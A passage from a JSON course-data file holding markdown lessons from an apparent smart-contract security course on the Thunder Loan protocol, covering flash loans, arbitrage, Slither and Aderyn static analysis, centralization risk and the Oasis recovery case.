amount.\n\n## Earning Through Fees\n\nHere’s where things get interesting for our liquidity providers. Every Flash Loan borrowed, and the associated fee, is accrued in the contract. So instead of just the original $1,000, the total pool keeps keeping amplified by the accrued fees e.g., $1,002, $1,003, and so on as more Flash Loans are taken.\n\nIn layman's terms, liquidity providers gather fees from every Flash Loan issued, making their investment worth it. Indeed, as succinctly summed up in this quote:\n\n> \"Because they deposited money to the protocol, they're going to get fees for people taking out these Flash loans.\"\n\n![](https://cdn.videotap.com/YjlbuTfa3JOWtnR1HeLa-81.png)\n\nIn conclusion, Flash Loans present a fascinating facet of the DeFi world, with many moving parts at play. Here's cheers to getting to understand the skeleton of yet another DeFi innovation! Stay tuned for more DeFi explorations in our upcoming blogs.\n", + "updates": [] + }, + { + "lessonId": "8232d5e0-21bb-491d-9e57-7dce5033eac4", + "number": 7, + "title": "Arbitrage Walkthrough", + "slug": "arbitrage-walkthrough", + "folderName": "7-arbitrage-walkthrough", + "description": "", + "duration": 5, + "videoUrl": "z5N007sMkjW2KPaWATi7YVTQsuPk8sk1IVi79rdCuJGA", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/7-arbitrage-walkthrough/+page.md", + "markdownContent": "---\ntitle: Arbitrage walkthrough\n---\n\n\n\n---\n\n# Spotting Opportunities with Flash Loans in DeFi: A Beginner's Guide\n\nIn this blog post, we'll walk you through a simple yet effective use case of flash loans in the ever-growing DeFi sphere. These instantaneous and uncollateralized crypto borrowings have the potential to level the playing field for those just beginning their journey with decentralized finance.\n\n![](https://cdn.videotap.com/pU3EHWsVTfLRc7Io0d4p-11.31.png)## The Scenario: Decentralized Exchanges and A Flash Loan Protocol\n\nFlash loans can be used to take advantage of discrepancies between different decentralized exchanges. In our use case, for illustrative purposes, let's imagine two decentralized exchanges, **DEX A** that values 1 ETH at $5 and **DEX B**, valuing 1 ETH at $6. Let's introduce our player, **Little Fox**, who initially has $5 and aspires to leverage these discrepancies for gains, much like big players or “whales“.\n\nOrdinarily, he could repeatedly buy ETH from DEX A and sell on DEX B to benefit from the price disparity while it lasts. However, performing this arbitrage manually would entail considerable gas fees and risk attracting copycats, eroding the arbitrage opportunity over time. This approach, therefore, isn't practical nor efficient.\n\nEnter **flash loans**, an innovative DeFi tool that can significantly change the landscape.\n\n![](https://cdn.videotap.com/nb798NifZCWAlRyaN0W8-39.57.png)\n\n## The Flash Loan Mechanism: How Does It Work?\n\nBelow, we're going to break down how our Little Fox can employ the power of flash loans and achieve the same level of profit as a whale.\n\nIn our example, there's a flash loan protocol that enables individuals to borrow substantial sums of capital. The protocol begins empty, awaiting deposits from prospective lenders.\n\nLet’s say a whale deposits $5,000 into the protocol, creating 5,000 flash loan tokens (FLTs). Owning 100% of the FLTs, the whale essentially owns all the money in the protocol. They can use their FLTs to retrieve their full deposit at any time they wish.\n\n## Step 1: Requesting the flash loan\n\nThe first step for Little Fox is to call the flash loan function on the smart contract to borrow the $5,000 from the protocol.\n\n### Step 2: Executing the arbitrage strategy\n\nRemember that all actions using the borrowed funds must occur within one blockchain transaction to prevent loan default. Therefore, we represent the following steps with a single 'transaction call'\n\n### Step 3: Repaying the flash loan\n\nFinally, Little Fox repays the $5,000 flash loan to the protocol and keeps the $1,000 profit.\n\n![](https://cdn.videotap.com/ZCzIKYmtOmiYCUylbef8-237.43.png)\n\nIn effect, by initially borrowing $5,000, buying 1,000 ETH, re-selling the ETH for $6,000 and returning the initial $5,000 (plus a tiny fee), Little Fox made the same $1,000 gain that the whale would’ve without the initial capital.\n\n> \"Despite starting with just $5 and incurring a tiny fee, our Little Fox was able to end up with a juicy profit of almost $1,000, thanks to flash loans.\"\n\nTo provide some perspective, let's keep in mind that real-world arbitrage opportunities won't always be as substantial, and gas costs can influence the profitability. However, the example underlines the power of flash loans to amplify potential profits in DeFi by enabling smaller players to punch above their weight.\n\nFlash loans epitomize the democratization of finance that lies at the heart of the DeFi movement. They demonstrate just how the playing field can be leveled by the power of smart contracts, providing opportunity and access to all participants, not just the 'whales'.\n", + "updates": [] + }, + { + "lessonId": "044a08db-c6fa-4162-8996-88a28d93bf76", + "number": 8, + "title": "Are Flash Loans Bad?", + "slug": "are-flash-loans-bad", + "folderName": "8-are-flash-loans-bad", + "description": "", + "duration": 1, + "videoUrl": "oTkNg6P5CSDG6JOX4zoCD2NH3QW8TwVSeZ4NXYq5urM", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/8-are-flash-loans-bad/+page.md", + "markdownContent": "---\ntitle: Are Flash Loans Bad?\n---\n\n\n\n---\n\n# Flash Loans in Crypto Finance: A Level Playing Field\n\nCrypto finance, or more aptly the world of DeFi (Decentralized Finance), is a rapidly evolving landscape. There's one key feature that has been stirring up quite a debate: **flash loans**. Today, we delve deeper into what flash loans are and how they're positively impacting the sphere.\n\nBefore we tread further, for those unfamiliar with the term, let's start with a brief walkthrough of what flash loans are.\n\n## What are Flash Loans?\n\nIn the context of DeFi, a flash loan is essentially an uncollateralized loan option that allows individuals to borrow cryptocurrency and repay it back within the same blockchain transaction. In other words, you borrow and repay in a single operation. This may sound more like a charade, but trust me, it's a feature that could be a game-changer.\n\n> \"Flash loans allow anybody to be a whale in the traditional finance world.\"\n\n![](https://cdn.videotap.com/Nz3tLzfPAOWomq9L4VVr-9.78.png)\n\nFlash loans are helpful in a myriad of applications, arbitrage being a major one, and we'll delve into exactly how these loans play out in the following sections.\n\n## The Power of Flash Loans\n\n### Equalizing the Playing Field\n\nIn the traditional finance world and even in most commerce spaces, arbitrage opportunities exist. For those unfamiliar with this term, arbitrage is simply the practice of taking advantage of a price difference between two or more markets. It involves striking a combination of matching deals that capitalize upon the imbalance, with the profit being the difference between the market prices.\n\nHowever, there's a catch: these opportunities are usually accessible only to the super-rich or \"whales\", as they're colloquially referred to in the crypto world. Why? Because they are the ones with substantial capital to participate in these kinds of opportunities.\n\nIn comes our knight in shining armour - the flash loans. By offering a way to take part in these opportunities without a massive initial capital, flash loans level the playing field and democratize the finance world, making it possible for anyone to be a ‘whale’ — if only for a single transaction.\n\n> \"In the DeFi world, thanks to flash loans, the playing field is leveled and anyone can be a ‘whale’ for a single transaction.\"\n\n![](https://cdn.videotap.com/khoXIky8WmJ5fr0DE16U-22.png)\n\n## The Positives of Flash Loans\n\nContrary to popular belief, flash loans are not a negative elixir. They are empowering smaller investors and participants by opening gateways to opportunities that were previously locked up for the privileged few.\n\nFirstly, these loans are uncollateralized, meaning that you don't have to put up any collateral to secure a loan. You just enter, borrow the money, do your business and pay the loan back — all within a single transaction block. This makes it really appealing for everyday folks to participate in the crypto market and benefit from the same.\n\nSecondly, flash loans have made it possible to conduct complex financial manoeuvres like arbitrage with practically zero upfront capital — a situation that was unthinkable not too long ago. This gives an opportunity to the ordinary individuals to make a profit from the fluctuations in the notoriously volatile crypto markets, thus breaking the monopoly the ‘whales’ had over such activities.\n\n![](https://cdn.videotap.com/WdxwLG3XbBSQfHjisOdu-28.11.png)\n\n## Conclusion\n\nIn conclusion, flash loans in the world of DeFi, despite some of the criticisms they face, are indeed a positive evolution, as they democratize the crypto financial world and make it accessible to an average investor. The power to be a crypto 'whale' for even a single transaction has brought a much-needed sense of equity to this space. Therefore, flash loans are here to stay and likely to shape an increasingly level playing field in the crypto industry moving forward.\n\nSo now, continue your exploration into the financial future. Know that you too can be a whale!\n", + "updates": [] + }, + { + "lessonId": "cd8d2270-4a46-4bdb-a9ec-7df8212ed851", + "number": 9, + "title": "Recap", + "slug": "recap", + "folderName": "9-recap", + "description": "", + "duration": 3, + "videoUrl": "xjBhcXE00cV1Ck7wCQzvWai1GE9i00vr9OQp6UN902DJzA", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/9-recap/+page.md", + "markdownContent": "---\ntitle: Recap\n---\n\n\n\n---\n\n# Decoding Flash Loans: A Comprehensive Walkthrough\n\nWelcome back! Today we're going to steer the wheel down the crypto lane and dive into a fascinating concept - Flash Loans.\n\n![](https://cdn.videotap.com/e2sbhlbfl9ZreXlI3mzt-12.08.png)\n\n## How Do Flash Loans Work?\n\nA quick rundown of how this all functions is necessary. Picture this: a whale (a large player in the crypto market) deposits $5,000 into the flash loan protocol.\n\n![](https://cdn.videotap.com/ww7stcBKpXeTs9ZF51U1-30.19.png)\n\n### The User Comes In\n\nAfter this, a user comes in and pulls out a $5,000 loan from the flash loan. This person now needs to repay the $5,000 plus any fees associated; if not, the transaction will revert. The user uses this borrowed amount to purchase $1,000 worth of Ethereum (ETH).\n\n### Trading the ETH\n\nThen comes the interesting part. They sell the $1,000 worth of ETH for $6,000, and then return the originally borrowed amount—keeping $1,000 for themselves, which results in net earnings of $995 after paying a $5 fee.\n\n### Where Does The Money Go?\n\nSo, in the course of these transactions, the flash loan protocol ends up with the initial $5,000 plus the $5 fee.\n\n### Withdrawal by the Whale\n\nLastly, whenever the whale chooses, they can withdraw their initial deposit by trading back in the flash loan token, which signifies their 100% ownership of the pool. So, for their $5,000 deposit, they receive $5,005: a mix of the original deposit amount and the accumulated fees.\n\n## Learning About Arbitrage\n\nAlright, so that was quite a bit to absorb, but it paints a rough picture of how flash loans function. Now, why would someone want to use flash loans? A primary reason is arbitrage.\n\nArbitrage is a scenario where you exploit a price discrepancy on two different exchanges. For instance, if Exchange A lists ETH at $5 and Exchange B lists ETH at $6, you can buy from A and sell at B to make a profit. This is arbitrage simplified.\n\n## Flash Loans: Breaking Down Their Purpose\n\nNow, let's circle back to flash loans. What makes them unique is the rapidity with which they can be executed. A loan taken out for a single transaction, and if repaid immediately, it completes. If not, the transaction can be coded to automatically revert. This function is only possible in Web 3 platforms.\n\nPulling these threads together, someone might utilize a flash loan to carry out arbitrage and benefit from a market price discrepancy.\n\n> \"Flash loans allow us to take out quick loans for a single transaction. If we don't pay the money back, the transaction can automatically revert.\"\n\n## Dig into It Yourself!\n\nFor those seeking a more hands-on approach, we'll be adding examples of flash loan protocol arbitrage in the audit data branch of our GitHub repositories. All diagrams used in this post, as well as additional resources, can be found there.\n\nIn conclusion, flash loans and arbitrage could be a lucrative way to leverage crypto market discrepancies, especially considering the volatility characteristic of this space. Whether you're an aspiring whale or a novice user aiming to dip your feet, understanding this realm can illuminate a whole new way of interacting with cryptocurrency.\n\nThe main caveat, as always, is comprehension. Understanding the terms and conditions, and the associated risks, is a prerequisite to success in any financial venture, and flash loans are no exception. Be sure to dig into our other resources if you'd like more of a deep dive!\n", + "updates": [] + }, + { + "lessonId": "d61670f8-0992-4154-b45a-41b2a482a0ea", + "number": 10, + "title": "Recon Continued", + "slug": "recon-continued", + "folderName": "10-recon-continued", + "description": "", + "duration": 4, + "videoUrl": "pU3ti8RWxJn9twmnJ7bX6023k3CyVr44F3HW7pBvjx200", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/10-recon-continued/+page.md", + "markdownContent": "---\ntitle: Recon (continued)\n---\n\n\n\n---\n\n# Understanding the Thunder Loan Protocol: A Comprehensive Review\n\nWelcome to another intriguing blog post where we'll dive deep into the world of cryptocurrencies, specifically focusing on the Thunder Loan protocol. This post is rooted in our continued commitment to simplify complex subjects in decentralized finance for you.\n\n## Contextualizing the Thunder Loan Protocol\n\nThunder Loan protocol, like many other DeFi (Decentralized Finance) protocols, is based on borrowing, lending, and flash loans. To fully grasp how this protocol operates, one must first comprehend how flash loans and borrowing/lending processes work.\n\n> _\"Sometimes when you're doing security reviews, you got to look up stuff that might not seem related.\"_\n\nI recommend learning more about these protocols by exploring [Aave](https://aave.com) and [Compound](https://compound.finance). You could also watch related deep-dive videos to get more context.\n\n## Breaking Down Flash Loans and Liquidity\n\nSo, what is a flash loan? In essence, flash loans involve users borrowing substantial sums, completing arbitrage trades, then returning the borrowed sum in the same transaction. They are rapid transactions that thoroughly leverage the capabilities of smart contracts.\n\nUsers, also known as liquidity providers, deposit their funds into the protocol. In exchange, they receive asset tokens, representing their stake in the protocol. Users also need to pay a small fee to the protocol, which depends on the borrowed sum.\n\nOne might be curious: how is this fee calculated?\n\nEnter the **on-chain Tswap price oracle**.\n\n## The Critical Role of the Tswap Price Oracle\n\nPrice oracles play a crucial role in crypto trading platforms. They act as a bridge, bringing external real-world data or computation on-chain.\n\n> _\"An Oracle is going to be a device that takes external real-world data or computation and brings it on-chain.\"_\n\nFor instance, a price oracle could determine the price of Ethereum – a concept forgotten by the material world. It's fascinating to note that the Thunder Loan protocol uses TSwap's Dex that we reviewed in our previous section as a price oracle.\n\nNow, one might wonder: why would the protocol need a price oracle?\n\nLet's dig in further.\n\n## The Thunder Loan Protocol Upgrade\n\nWe have one more puzzling detail. Thunder Loan Protocol is planning to upgrade their current contract to the Thunder Loan upgraded contract.\n\nThis upgrade is a crucial element to be considered under the scope of our security review. The Thunder Loan seems to be an upgradable smart contract, following the Ownable Upgradable, UUPS Upgradable and Oracle Upgradable paths.\n\n## Wrapping Up\n\nFinally, we've learned how the protocol sheds light on flash loans, arbitrage, and provides various opportunities for liquidity providers apart from their usual asset token interest.\n\nWe've also noticed some unique features like the TSwap Price Oracle embedded into the protocol's ecosystem, contributing prominently to its functionality.\n\nThis post should have given you a thorough overview of the Thunder Loan protocol. Now would be an ideal time for you to reach out to the protocol or prepare their diagrams, detailing how their whole system actually works.\n\nRemember to have fun, stay curious, and keep exploring!\n", + "updates": [] + }, + { + "lessonId": "cf98c920-cca9-4975-9259-b11408ae8b36", + "number": 11, + "title": "Static Analysis - Slither & Aderyn", + "slug": "static-analysis-slither-aderyn", + "folderName": "11-static-analysis-slither-aderyn", + "description": "", + "duration": 7, + "videoUrl": "jUA01mnh602HYtZLRdlmJwu1bc9xT01vACwwwZcXNmg73w", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/11-static-analysis-slither-aderyn/+page.md", + "markdownContent": "---\ntitle: Static Analysis Slither + Aderyn\n---\n\n\n\n---\n\n# Solidity Foundry Project: Running Slither and Aderyn\n\nWelcome back! In today's blog, we're going to throw ourselves into the heart of a Solidity foundry project. Unfortunately, there are no diagrams to help us along the way, but no worries, because we've got two brilliant tools at our disposal: **Slither** and **Aderyn**.\n\n## Setting the Stage: Your Make File\n\nFor this project, and any Solidity project moving forward, a typical **make file** will embrace a little Slither command line action and be embellished with a Slither Config JSON file.\n\nThe Slither Config JSON that I am fond of using, you can tailor as per your project needs. What makes it special is the string of flags that are manually turned on or off to procure meaningful Slither outputs. _Fun Fact: You might notice I don’t include a few detectors like conformance to Solidity naming conventions or incorrect versions of Solidity. That’s because I have a fair share of taste for unconventional naming and most folks aren’t using 0.8.18 versions but rather zero point 20._\n\nNext, in our mission to make the Slither output as concise and helpful as possible, we make sure to filter paths to avoid pulling in redundant information from mocks, tests, scripts, upgraded protocol, or dependencies. This ensures we don't muddle our results with data from libraries.\n\n## The Bug Hunt Begins\n\nOn initiating Slither, we did hit something noteworthy, a bug! The first info detected was thunderloan update. The problem lay in that the action of the code `s_flashloan fee = new fee` was not triggering an event emission. This was in Thunder Loan line 269.\n\nNow, let's get to the heart of the update flash loan fee function. We spotted a `s_flashloan fee` variable. When we investigated further, it was found to be a storage variable.\n\n> Important: Whenever a storage update occurs, it is mandatory to emit an event.\n\nTo make a note of it for the auditor, we wrote `@audit: low must emit an event.`But that's not the end of it. We found more issues with Slither.\n\n## Fishy Thunderloan\n\nSlither also pointed out the possibility of reentrancy vulnerabilities in the Thunderloan flash loan because of external calls being made. We're not entirely sure of the severity, but we mark these for a follow-up review.\n\n> Note: Be sure to check out the mentioned lines (#204, #181) in Thunderloan for potential reentrancy vulnerabilities.\n\n## Beware the Old Yellow\n\nFinally, Slither pointed out a yellow alert, which was a little concerning. The problem was that the return value of an external call was not stored in a local or state variable. Again, we must make a follow-up note of this and verify later if it's a grave issue.\n\nWith the last yellow alert, we've run through all theing that Slither had to offer. However, we're still not done. Next, we need to run Aderyn.\n\n## Round Two: Aderyn\n\nAfter running Aderyn, a report is generated. The report can be checked for any potential issues and, if need be, compared with Slither's findings.\n\nAnd voila, that's how you navigate through a Solidity project with the help of Slither and Aderyn. By doing so, you can identify potential vulnerabilities and build better, safer code. Until next time, happy coding!\n", + "updates": [] + }, + { + "lessonId": "bd391a8a-f18f-496a-94de-1b82c42ed12b", + "number": 12, + "title": "Exploit: Centralization", + "slug": "exploit-centralization", + "folderName": "12-exploit-centralization", + "description": "", + "duration": 3, + "videoUrl": "agXO01DKEutJjgPTKyucKjWI01KGYiXven4cJg8gPNKwo", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/12-exploit-centralization/+page.md", + "markdownContent": "---\ntitle: Exploit Centralization\n---\n\n\n\n---\n\n---\n\n# **Understanding Centralization Risk in Contracts**\n\nIf you've written code for a smart contract, you may have come across this pesky medium-issue termed the 'centralization risk.' Often underplayed or regarded as a known non-issue, centralization risk holds the highly explosive capability to compromise your entire protocol.\n\n![](https://cdn.videotap.com/RLVhl7xtB45C5923CMwb-29.14.png)\n\nIn this article, we will dissect this concept, characterized by contracts with privileged owners who exercise undue rights to perform administrative tasks. These individuals demand a blind trust not to execute malicious updates or drain funds - a colossal deal in the world of protocols.\n\nBut, why should we report this in a private audit? Let's zoom in.\n\n## **Why Centralization Risk Matters**\n\nThe alarm bells around centralization risks are not just blown for fun. There are hundreds of thousands of reasons to do so, primary being the inherent security issue. This vulnerability, if left unaddressed, can lead to the disastrous situation known as a 'rug pull.'\n\nA metaphorical term, rug pull equates to the unanticipated withdrawal of liquidity from a protocol by its creators, rendering the protocol useless. Here's a quote aptly encapsulating this scenario:\n\n> \"Imagine someone pulling the rug off underneath your feet leaving you in a freefall. That's what is a rug pull.\"\n\nTake a case wherein a contract is deployed, and it's vaunted as a decentralized entity. But the reality behind it is that it’s actually behind a proxy. At any unpredictable time, the owners of this proxy could upgrade the contract, introducing functions like 'steal all the money' - definitely not cool.\n\n## **A Deep Dive into SC Exploits Minimize Git Repo**\n\nIn the SC exploits minimize git repo associated with this course, we have chosen the SRC protocol's 'Thunder Loan.' We discovered that the protocol is rife with ownable actions. After sorting through 'Only Owner,' we spotted the functions set to allowed token, update Flash loan fee, and authorize Upgrade - all were exclusive to the owner.\n\nAdditionally, the owner of the protocol holds the power to modify all functionalities as per whims and fancies. This ownership is possible since the protocol is set behind a UUPS Proxy contract. It means that with one misstep, the entire protocol can be swept away.\n\nIt's not all bleak, though. Automated discovery tools like Adarin automatically seek centralization issues and generate comprehensive reports, minimizing the manual effort required to spot these vulnerabilities.\n\n## **Exploring Further: Case Study of Oasis**\n\nBefore we wrap up, let's undertake a brief study of an excellent DeFi vulnerability challenge based on Oasis. The purpose of this exercise is to delve into the insecurities laid bare by unchecked centralization.\n\nOur study highlighted that the contract owner could arbitrarily alter the balances of its users, effectively empowering the owner to rob the hard-earned ETH of its users. Consequently, this amplifies the centralization issue exponentially. This scenario mirrors an array of rug pulls stemmed from unchecked centralization.\n\n## **Conclusion**\n\nIn the end, it all boils down to one fact - the presence of centralization poses a severe risk to the security of any protocol. Being proactive in acknowledging and mitigating this risk is non-negotiable if we aim to maintain the integrity of our protocols. Centralization can be a security issue, but with constant vigil, we can tackle it head-on.\n\nStay safe and happy coding!\n", + "updates": [] + }, + { + "lessonId": "dbe192e5-2438-42f5-a9f8-efac77de2cde", + "number": 13, + "title": "Case Study: Oasis", + "slug": "case-study-oasis", + "folderName": "13-case-study-oasis", + "description": "", + "duration": 3, + "videoUrl": "01tl9ytnUSHzqH9WFKMKAhEnguCvd02E02EChawvxRlLsU", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/13-case-study-oasis/+page.md", + "markdownContent": "---\ntitle: Centralization Case Study Oasis\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n# The Oasis Protocol Hack Recovery: A Tale of Centralization Risks and Court-Mandated Exploits\n\nYou have heard before about cyber thefts. But have you heard of one where hackers end up having the tables turned on them? This exactly happened earlier this year in the world of digital asset lending and borrowing. It's a rollercoaster of a story that involves smart contracts, the UK courts, and a protocol called Oasis. The protocol, incidentally, had projected itself as decentralized and permissionless, but ended up playing an ironic role. Let's dig in.\n\n## Oasis and Its Security Meltdown\n\nOasis is a digital platform that allows users to lend and borrow assets on the maker protocol. The exciting - and somewhat controversial - thing about it was its selling point as a decentralized and permissionless platform. In other words, there was no need for central intermediaries, fuss over permissions, or concerns about third-party interventions.\n\n![](https://cdn.videotap.com/TrlvVL07HW0fU9JmwRSw-26.17.png)\n\nAll well and good until one day when a hacker sneaked in and made off with a sizeable amount of money - exactly 120K wrapped ether. Placing his stolen money in the Oasis application, the hacker probably felt quite pleased with himself. However, he didn't count on the steps that the victims of this hack would take next.\n\n## Hacking Back the Hackers\n\nUnderstandably angered, the victims - who had substantial money sitting in the said protocol - turned to security researchers for assistance. The question was straightforward: Could a forced smart contract upgrade retrieve the stolen loot? To their relief, the answer was also straightforward: Yes.\n\nSo next, they went to court armed with this new knowledge of an exploit in the Oasis' codebase. Their request was straightforward: Force the team behind Oasis to upgrade the protocol and utilize the exploit to match the hacker's play. Sounds wild, right? But it didn't just end there.\n\n## A Court-Ordered Exploit\n\nThe court agreed with these victims and ordered Oasis - yes, the same Oasis that professed decentralization and permissionless transactions - to upgrade their protocol and exploit their own security flaw. The objective was clear: retrieve the hacked funds, which, in essence, was hacking the hacker.\n\n> \"The whole saga entailed coordination between the Oasis' founding team and the wormhole developer from Jump Crypto, the trading firm that had lost their money in the first place.\" - Extract from Blockworks Research Article.\n\nThis was possible only because Oasis’s protocol wasn't truly decentralized or censorship-resistant. Had it been so, this court-ordered exploit couldn't have happened at all.\n\n## The Conundrum of Centralization\n\nSo was this a happy ending? Not everyone agrees. Yes, the stolen funds were recovered, but the image of Oasis as a truly decentralized platform took a hit. It revealed centralization risks creating a shift in how users see and interact with these types of platforms, as, generally, they are under the impression of these protocols being completely decentralized. As security researchers, we need to address such misleading aspects.\n\nPerhaps the takeaway from this episode is the importance of awareness and the possible loop-holes that may exist even in the most secure looking digital assets systems, and also that, despite the convenience and freedom, decentralized platforms can pose, there are hidden pitfalls.\n\nSo the next time you're looking into using a new system or protocol, remember the story of the Oasis Protocol Hack Recovery. Not every 'decentralized' platform is truly what it claims to be. Be sure to read the information given, especially when it comes to security and understand the risks before committing your digital or physical assets. Be aware, and make a well-informed decision.\n\nStay safe!\n", + "updates": [] + }, + { + "lessonId": "2d1c0adc-43ec-4577-8da5-e47ba2915f66", + "number": 14, + "title": "Static Analysis Continued", + "slug": "static-analysis-continued", + "folderName": "14-static-analysis-continued", + "description": "", + "duration": 3, + "videoUrl": "33fYTX8nWMzZ4ht4z9m00qfx9ogYtjL14J13bhZJtlv8", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/14-static-analysis-continued/+page.md", + "markdownContent": "---\ntitle: Static Analysis Continued\n---\n\n\n\n---\n\n# Identifying Key Aspects of a Blockchain Protocol Audit\n\nThe process of a blockchain protocol audit involves numerous steps, including checking for null address errors or unused functions, and then reporting these findings. In this blog post, we will go through the transcript of such an audit, explaining the key steps and the reasons behind the auditors' actions.\n\n## Addressing Null or Zero Address Errors\n\nThe first thing on the agenda was identifying any zero address checks that were missing.\n\nWhile inspecting the code in `orible_upgradable.sol`, few aspects came to light that called for some auditing. In blockchain parlance, a zero address refers to an address that was never assigned. If any state variables in a smart contract were unintentionally assigned to a zero address, the contract may not function as intended.\n\nThe code seemed to have a couple of places where this was an issue in assigning values to address state variables that lacked checks for address zero.\n\nAn additional instance required our attention, further validating that multiple aspects of this contract require zero address checks. This recommendation came up as part of the audit's Informational findings or the 'Gas' that helps improve the contract's architecture.\n\n## Marking Unused Functions as External\n\nThe next point of attention was for functions that weren’t being used internally. These could be marked as external. Specifically, the `getAssetToken` function appeared to be a likely candidate for this change. It was found to be defined in `ThunderLoan.sol` but seemed to only be utilized in the `ThunderLoanUpgraded.sol` contract.\n\n## Defining and Using Constants Instead of Literals\n\nLiterals, in coding terms, are the set values that remain unaltered throughout the code's execution. Using constant variables instead of these literals enhance the code’s readability and maintainability.\n\nOn Line 144 of the contract, the use of magic numbers was spotted. Magic numbers refer to undisguised numerical values that could potentially create confusion in the future. Therefore, defining and using constants instead of these literals is strongly advised.\n\n## Track Missing Index Fields in Events\n\nEvents play a crucial role in smart contracts, keeping a log of essential occurrences. Therefore, including an 'index field' is essential, as it aids in filtering and searching event logs effectively.\n\nIn our project's case, some events being emitted lacked such an indexed field. Including this in the final report as an informational finding is a must, enabling the team to use events in a more structured and practical manner.\n\n# Evaluating Centralization Issue\n\nDuring our audit process, a centralization issue was identified with the protocol. It's a common practice in a private audit to notify the protocol if the contract is centralized. As highlighted in the Oasis case, an element of control or flexibility can potentially have dire consequences on protocol decentralization.\n\n\"We found a centralization issue. We'd generally advise against this if the protocol doesn't need to be ownable or upgradable, as it presents a centralization vector.\"\n\n# Concluding Remarks\n\nInformation gleaned from this audit demonstrates how intricately the process needs to be conducted. Key findings drawn during the process included missing zero-address checks, unused internal functions, usage of literals instead of constants, and missing index fields in events. Along with this, an important aspect brought forth was the issue related to centralization.\n\nIt's vital to consider every possible attack vector when developing a protocol. By acknowledging potential risks, such as an unsuspecting bad actor gaining control and pilfering funds, we can make necessary adjustments to mitigate these risks.\n\nBy running various audits like Slither or Adarin, we can close potential loopholes and aim to deliver a more streamlined, safe, and reliable protocol. These measures culminate in securing your protocol's integrity against potential risks, enhancing its potential for real-world utilization.\n", + "updates": [] + }, + { + "lessonId": "eff20578-d301-44a4-9a97-57140f7e19b5", + "number": 15, + "title": "Recon IPoolFactory", + "slug": "recon-ipoolfactory", + "folderName": "15-recon-ipoolfactory", + "description": "", + "duration": 6, + "videoUrl": "5d100hkLtDwSGLk4ibstw700fikz1RQ4T00c8Bj31rHfOA", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/15-recon-ipoolfactory/+page.md", + "markdownContent": "---\ntitle: Recon Manual Review IPoolFactory sol\n---\n\n\n\n---\n\n# Manual Code Review: Getting Started\n\nAfter setting our initial context and utilizing our suite of auditing tools, it's time to get our hands dirty with some thorough manual review. Much like our previous auditing process, one viable option available to us is to start from the test suite.\n\n## Diving Into the Test Suites\n\nThe project at hand features an invariant test suite, which, unfortunately, is rather redundant, hence ineffective. Additionally, there are some unit tests that warrant our attention. Consequently, an excellent first step is to run the `forge coverage` command to get an idea of the current test suite under scrutiny.\n\n## Reviewing Test Coverage\n\nOur preliminary exploration reveals that the test coverage is unsatisfactory. Therefore, it's mute to map out our plan of action: We need to scrutinize this test suite, comprehend its shortcomings, infer the invariants, and consequently pen a robust invariant test suite. Afterward, all related findings would be relayed to the client—highlighting their dire need to improve test coverage, expressed as an informal suggestion.\n\nOur last venture had us initially peering into their test suite and buffing it up. By taking this approach, revealing the hidden bugs was a breeze, and it seems likely that this strategy would prove beneficial once more. Nevertheless, this journey would also incorporate a thorough manual review.\n\n## Focus on Proof of Code\n\nAn essential part of the auditing process would involve digging deep into the provided code with a fine-toothed comb. While no single approach guarantees success, we'll be implementing the 'Tincho method' with considerably more gravity this time around.\n\n### Workflow Setup with the Tincho Method\n\nOur journey begins in the SRC, using the `solidity metrics` command. The output would be copied in entirety and pasted into a document of choice. I personally prefer Google Sheets due to its easy to use interface and sorting abilities.\n\n![](https://cdn.videotap.com/UrVcjpzYpZgiEY4KluYE-96.32.png)\n\nAfter eliminating any unnecessary columns, it is sensible to sort the code by size, in ascending order. This list forms the foundation of our audit, providing a linear path of progression from smaller contracts to larger ones.\n\n### Mining the Code: Ifactory sol and ipoolfactory sol\n\nUsing the Tincho method, we start by tackling the smallest contract: 'ifactory.sol'. The microscopic size may make it seem insignificant, but give it due diligence.\n\nShortly after, 'ipoolfactory.sol' comes under scrutiny—the first contract addressed in this session. Notably, this contract seems to interface with the T swap pool factory, as signified by the function 'get pool'.\n\nOn closer inspection of the TSWAP code base, we can see that there is indeed a 'get pool' function present in the 'pool factory' ('poolfactory.sol').\n\nA useful annotation to consider:\n\n> 'ipoolfactory' is likely the interface used for communication with 'poolfactory.sol' from TSWAP.\n\nIt would be beneficial to jot down these insights as an organized mind note or Google Sheets document, with sections such as 'About', 'Potential attack vectors', 'Ideas', and 'Questions'.\n\nA few starting points include:\n\n- Write about the protocol in your own words.\n- Why are we using TSWAP in this context?\n- How do flash loans correlate with this usage of TSWAP?\n\nThis document acts as a brain dump, helping record initial thoughts, insights, and potential attack vectors. Maintaining an organized note system would likely make your work more efficient.\n\nAt first glance, 'ifactory.sol' seems sound without any evident issues, which is a good sign. This quick win aligns with our ideology: to confirm the validity of the smaller parts before progressing onto larger sections.\n\n## Keeping An Audit Trail\n\nEvery reviewed snippet is ticked off, allowing us to keep track of our journey and ensure that ground covered is not tread twice.\n\nOur first milestone? 'ipoolfactory.sol': reviewed successfully.\n\nTo improve our workflow, we could even factor in stages of review ('first pass', 'second pass', etc.). Our current initiative involves only a single comprehensive review to keep things simple.\n\n## Wrapping It Up: First Review\n\nAfter this successful review of 'ipoolfactory.sol', we realise that the audited code interacts with an external contract: the pool factory. By understanding these relationships and ensuring the correctness of the smaller contracts, we're paving the way to a comprehensive project audit. Armed with keen eyes and perseverance, we're ready for our next task—be it large or small.\n", + "updates": [] + }, + { + "lessonId": "b749f8e0-87f5-4e12-880d-8ecd81d5871b", + "number": 16, + "title": "ITSwapPool", + "slug": "itswappool", + "folderName": "16-itswappool", + "description": "", + "duration": 2, + "videoUrl": "Sgp1kQyHpxrzWfP6dsnvyYG72fZN02tFxUwMU00D8Dd5A", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/16-itswappool/+page.md", + "markdownContent": "---\ntitle: ITSwapPool sol\n---\n\n\n\n---\n\n# Deep Dive into Tswappool.sol Interface\n\nOne mystery that never loses its charm in the world of programming is the magic and intrigue of code reviews. It's an opportunity to navigate a labyrinth of ideas coded into existence, where the treasure isn't a particular conclusion, but a drive towards understanding and well, continuous improvement. In our expedition today, we're exploring the exciting 